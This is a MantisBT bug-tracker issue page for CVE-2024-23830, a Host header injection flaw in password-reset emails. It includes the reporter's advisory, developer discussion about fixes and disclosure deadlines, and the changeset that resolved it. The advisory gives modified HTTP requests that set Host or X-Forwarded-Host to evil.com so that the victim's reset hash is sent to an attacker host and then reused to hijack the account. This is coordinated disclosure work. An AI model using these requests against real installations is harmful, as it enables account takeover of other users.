View Issue Details

IDProjectCategoryView StatusLast Update
0019381mantisbtsecuritypublic2025-01-29 11:48
Reporterplmaltais Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version1.2.19 
Target Version2.26.1Fixed in Version2.26.1 
Summary0019381: CVE-2024-23830: Host header attack vulnerability
Description

Advisory: MantisBT 1.2.19 - Host header attack vulnerability
Author: Pier-Luc Maltais
Affected Software: MantisBT 1.2.19
Vendor URL: https://www.mantisbt.org/

Vulnerability Description:

MantisBT 1.2.19 is vulnerable to an Host header attack that can
be exploited by an unauthenticated user to hijack another user account.

Technical Details:

This exploit use the Host header attack to poison the link in the
password reset mail. You need to know the victim username and
e-mail. You also need a remote host that you control to catch the
verification hash needed for password reset.

  1. Access the password reset feature and fill the form with the
    victim username and e-mail.

    http://{VULNERABLE_MANTIS}/mantisbt/lost_pwd_page.php

  2. Using an intercepting proxy like Burp, change the Host header
    with your evil host.

    Original request :

    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : {VULNERABLE_MANTIS}
    [...]

    Modified request :

    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : evil.com
    [...]

  3. When the user receive the e-mail, the link is poisoned with
    the evil host.

    [...]
    visit the following URL to change your password:
    http://evil.com/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead
    [...]

  4. Now, when the victim click on the link to reset his password,
    his verification hash will be sent to our evil host. All we
    have to do is access the verify.php page with his hash, so
    we can change his password and hijack his account.

    http://{VULNERABLE_MANTIS}/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead

Solution:

Use
$_SERVER['SERVER_NAME'] (server controlled)
instead of
$_SERVER['HTTP_HOST'] (client controlled)

Disclosure Timeline:

16/02/2015 - Found the vulnerability
17/02/2015 - Wrote this advisory
17/02/2015 - Contacted developers on MantisBT forum
18/02/2015 - Opened an issue in the bug tracker

References:

[1] http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
[2] http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421

Additional Information

I would like to be credited for the finding.
Name : Pier-Luc Maltais
Email : pierluc.maltais@gmail.com
Twitter: https://twitter.com/plmaltais
Github: https://github.com/plmaltais

TagsNo tags attached.
Attached Files
mantis_1.2.19_host_header_attack.txt (2,433 bytes)   
Advisory: MantisBT 1.2.19 - Host header attack vulnerability
Author: Pier-Luc Maltais
Affected Software: MantisBT 1.2.19
Vendor URL: https://www.mantisbt.org/

==========================
Vulnerability Description:
==========================

MantisBT 1.2.19 is vulnerable to an Host header attack that can
be exploited by an unauthenticated user to hijack another user account.
 
==================
Technical Details:
==================

This exploit use the Host header attack to poison the link in the
password reset mail. You need to know the victim username and 
e-mail. You also need a remote host that you control to catch the 
verification hash needed for password reset.

1.  Access the password reset feature and fill the form with the
    victim username and e-mail.

    http://{VULNERABLE_MANTIS}/mantisbt/lost_pwd_page.php

2.  Using an intercepting proxy like Burp, change the Host header 
    with your evil host.

    Original request :
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : {VULNERABLE_MANTIS}
    [...]
    
    Modified request : 
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : evil.com
    [...]
    
3.  When the user receive the e-mail, the link is poisoned with 
    the evil host.

    [...]
    visit the following URL to change your password: 
    http://evil.com/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
    [...]
    
4.  Now, when the victim click on the link to reset his password,
    his verification hash will be sent to our evil host. All we 
    have to do is access the verify.php page with his hash, so
    we can change his password and hijack his account.
    
    http://{VULNERABLE_MANTIS}/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
 
=========
Solution:
=========

Use 
$_SERVER['SERVER_NAME'] (server controlled) 
instead of 
$_SERVER['HTTP_HOST'] (client controlled)
 
====================
Disclosure Timeline:
====================

16/02/2015 - Found the vulnerability
17/02/2015 - Wrote this advisory
17/02/2015 - Contacted developers on MantisBT forum
18/02/2015 - Opened an issue in the bug tracker
 
===========
References:
===========

[1] http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
[2] http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421

Relationships

has duplicate 0026434 closeddregad Use of _SERVER['HTTP_HOST'], _SERVER['SERVER_NAME'], and _SERVER['HTTP_X_FORWARDED_HOST'] should be avoided 
related to 0033791 closeddregad Travis CI builds are timing out 
related to 0035261 closeddregad Checking URL to installation: BAD Web page at 'https://www.foo.net/bar/mantisbt/' does not appear to be a MantisBT site. 

Activities

dregad

dregad

2015-02-18 11:10

developer   ~0048858

Hello

Many thanks for the detailed bug report. I will look into it and let you know when a fix is available for testing.

Have you reserved a CVE for this, or should I do it ?

plmaltais

plmaltais

2015-02-18 11:15

reporter   ~0048859

Hi,

No, I didn't reserve a CVE, you can do it. Let me know if you have any questions.

Pier-Luc

dregad

dregad

2015-02-18 12:23

developer   ~0048861

I just had a quick look at the code, and I reckon this vulnerability would only affect MantisBT instances relying on the default mechanism to determine the server path [1].

I'm not so keen on using SERVER_NAME only as that may not work in all situations since it is dependent on the web server's setup.

Maybe a better approach would be to get rid of the unsafe use of HTTP_HOST in the detection mechanism or trigger a warning if it's being used, and let the admin set the (canonical) path in config_inc.php. Another option would be to introduce a new setting to validate the path (similar to what Drupal did), but maybe that's overkill.

I need to think some more about this.

[1] https://github.com/mantisbt/mantisbt/blob/master/config_defaults_inc.php#L176

dregad

dregad

2015-02-18 12:24

developer   ~0048862

Reminder sent to: atrol, rombert, vboctor

Your thoughts on this would be appreciated.

atrol

atrol

2015-02-18 17:02

developer   ~0048864

No time for tests, thus just some thoughts.

We could completely remove access of $_SERVER['HTTP_HOST'] in master 1.3.x, and wait for
feedback of users.
Another option for 1.3.x is to change order of the $t_host assignment, set a global
variable if $_SERVER['HTTP_HOST'] is used, check for the variable in admin/check and
login_page.php (if $g_admin_checks is set) and provide a warning if the variable is set.


$g_http_host_used = false;
if( isset( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ) { # Support ProxyPass
$t_hosts = explode( ',', $_SERVER['HTTP_X_FORWARDED_HOST'] );
$t_host = $t_hosts[0];
} else if( isset( $_SERVER['SERVER_NAME'] ) ) {
$t_host = $_SERVER['SERVER_NAME'] . $t_port;
} else if( isset( $_SERVER['SERVER_ADDR'] ) ) {
$t_host = $_SERVER['SERVER_ADDR'] . $t_port;
} else if( isset( $_SERVER['HTTP_HOST'] ) ) {
$t_host = $_SERVER['HTTP_HOST'];
$g_http_host_used = true;
}

Furthermore we would have to describe the configuration of the web server in this case and
describe also the right setting for $g_path in config_inc.php if configuration of the web
server is not possible or does not work.

Not sure if we could do the same for 1.2.x and risk breaking existing installations.
Especially because we are hardly able to test all possible combinations of supported
PHP versions and different web servers and versions.

Every kind of potentially breaking change would have to be described in installation/upgrade
guide and would have to be part of the release announcement of 1.2.20.

BTW, I found that the code block in master starting with
if( !isset( $_SERVER['SCRIPT_NAME'] )) {
https://github.com/mantisbt/mantisbt/blame/master/config_defaults_inc.php#L187
is dead code.
It's in a block that starts with
if( isset ( $_SERVER['SCRIPT_NAME'] ) ) {

vboctor

vboctor

2015-02-19 00:40

manager   ~0048868

If the MantisBT host is compromised, why would the evil code just go change the database rather than this round about way? Am I missing something?

dregad

dregad

2015-02-19 03:12

developer   ~0048872

@vboctor

The MantisBT host is not compromised.

The issue is that we rely on the client-provided HTTP_HOST to build $g_path, allowing an attacker to initiate a password reset process for any user for which they know the id and password, and by inserting "evil.com" instead of "mantisbt.org", the e-mail we send to the user will point them back to "evil.com" thus letting the attacker retrieve the verification key and using it to hijack the user's account.

Obviously this requires the user to actually click the link without verifying it.

@atrol

Thanks for your feedback. Your suggestion goes along the lines of what I was thinking.

Good catch also with the dead code block.

@Pier-Luc

You mentioned a blog in your forum post [1], does that need to be referenced in the CVE ? If so please provide the URL.

One more question, about the use of HTTP_X_FORWARDED_HOST - I have not actually tested this, but would assume that this can be spoofed in the same way you described above, right ?

[1] https://www.mantisbt.org/forums/viewtopic.php?f=2&t=22938

plmaltais

plmaltais

2015-02-20 11:28

reporter   ~0048880

I did a quick test on my installation, without actually using a proxy. I added the X-Forwarded-Host header line in the request :

POST /mantisbt/lost_pwd.php HTTP/1.1
Host: 192.168.101.90
X-Forwarded-Host: evil.com
[...]

and the link was poisonned with evil.com.

For the blog, you can provide this URL: plmsecurity.net (there is nothing on there yet).

plmaltais

plmaltais

2015-05-04 17:22

reporter   ~0050692

Hi, I just want to remind you that we are two weeks from my 3 months deadline. Did you guys have planned a patch for this issue?

dregad

dregad

2015-05-05 03:10

developer   ~0050693

Thanks for the reminder, this kind of fell off the radar...

plmaltais

plmaltais

2015-05-19 10:26

reporter   ~0050789

We reach the deadline. Please tell me if you have something planned.

dregad

dregad

2015-05-19 11:25

developer   ~0050790

Well I have a potential patch but did not fully test it yet (sorry, I do this in my spare time, and I unfortunately don't have much of that nowadays). We need to consider backwards compatibility before releasing anything, which makes fixing this not so trivial.

If I may make a comment, it would have been nice(r) to announce this deadline of yours up front. That being said, what are your plans moving forward - assuming we're not able to release a fix shortly ?

plmaltais

plmaltais

2015-05-19 12:13

reporter   ~0050791

I was clear with the 90 days deadline on my original post on the forum (https://www.mantisbt.org/forums/viewtopic.php?f=2&t=22938), but maybe I should have stated it here too.

I really don't want to go full disclosure. If I give you two more weeks, will you be able to release a patch? If not, I will relase the advisory on my blog, post it on exploit-db, share it on twitter, etc.

This vulnerability put your users informations at risk and it is your responsability to mitigate that risk, even if it's done in your spare time.

dregad

dregad

2015-05-19 14:34

developer   ~0050792

maybe I should have stated it here too

Indeed.

it is your responsability to mitigate that risk

I know damn well what my responsibilities are. For the record, it is also my responsibility to take care of my family, and do the job my employer pays me for. It's all a question of priorities...

Using open-source software implies accepting some risks, and an unpatched vulnerability is one of them.

That being said and despite appearances, I do take security issues very seriously, and will do my best to get this patch out within 2 weeks. Will let you know when the patch is ready so you can confirm whether it actually fixes the issue or not before I release it to the general public.

dregad

dregad

2024-01-29 11:09

developer   ~0068486

GitHub security advisory: https://github.com/mantisbt/mantisbt/security/advisories/GHSA-mcqj-7p29-9528

CVE-2024-23830 assigned on 29-Jan-2024.

dregad

dregad

2024-02-03 18:08

developer   ~0068503

Patch is available for review at https://github.com/mantisbt/mantisbt-ghsa-mcqj-7p29-9528/pull/1

Feedback welcome. Please get in touch with me if you have problems accessing.

atrol

atrol

2024-02-10 05:47

developer   ~0068521

@dregad as an additional enhancement (must not be part of this fix), should we write $g_path and $g_short_path to config_inc.php when running a new installation?

dregad

dregad

2024-02-10 05:50

developer   ~0068522

That's an idea.

I suppose you mean to achieve that by requesting the path to use at install time, with a proposed default value based on the logic I moved from config_defaults_inc.php to set_default_path() function in core.php ?

atrol

atrol

2024-02-10 06:57

developer   ~0068523

Exactly like that.

dregad

dregad

2024-02-10 13:08

developer   ~0068524

@atrol please review https://github.com/mantisbt/mantisbt-ghsa-mcqj-7p29-9528/pull/2 which implements your suggestion 0019381:0068521

dregad

dregad

2024-02-20 16:16

developer   ~0068576

Pull requests from temporary fork have been merged, and the advisory published
https://github.com/mantisbt/mantisbt/security/advisories/GHSA-mcqj-7p29-9528.

Related Changesets

MantisBT: master-2.26 7055731d

2024-02-20 16:10

dregad

Committer: community


Details Diff
Merge pull request from GHSA-mcqj-7p29-9528

* Address host header injection vulnerability

$g_path is empty by default, and should be defined in config_inc.php.
Not doing so is a security risk, as the path will then be set based on
headers from the HTTP request, exposing the system to Host Header
injection attacks.

Document the risk in PHPDoc and Admin Guide.

Move the code that initializes $g_path's default value from
config_defaults_inc.php to a function in core.php.

Detect if $g_path was defaulted, and if yes alert the user in:
- Login Page (if $g_admin_checks == ON)
- Admin Checks

Fixes 0019381, CVE-2024-23830, GHSA-mcqj-7p29-9528

* Remove dead code

* Use OWASP as reference for host header injection

* Link to OWASP reference page from admin guide

* Invalid $g_path at install time is a hard fail

Empty $g_path remains just a warning about the security risk.
Request and set $g_path at install time

This is an improvement on the original patch for CVE-2024-23830.

The admin is now able to set $g_path when installing MantisBT. A default
value is provided, based on the URL used to perform the installation
(using the same logic that is applied when $g_path is empty).

A check of the provided URL is performed during install stage 2, and an
error is reported if it is invalid. If an empty $g_path is given, then
we only display a warning about the security risk.

The URL is then stored as $g_path in the generated config_inc.php file
at stage 5.

This greatly reduces the risk of the admin forgetting to set $g_path
manually, while still allowing them to set it to empty should they want
to.

Fixes 0019381

* Add Reset button to path input

Reuse the existing functionality implemented for database prefix/suffix,
with the following changes

- Rename `reset-prefix` selector class to `reset` to be more generic
- Add Reset functionality markup to path input including default value
- Add title attribute to Reset buttons
- Adapt initialization logic to only set the default value for the
table-prefix fields
Affected Issues
0019381
mod - admin/check/check_paths_inc.php Diff File
mod - admin/install.php Diff File
mod - config_defaults_inc.php Diff File
mod - core.php Diff File
mod - docbook/Admin_Guide/en-US/config/path.xml Diff File
mod - js/install.js Diff File
mod - lang/strings_english.txt Diff File
mod - login_page.php Diff File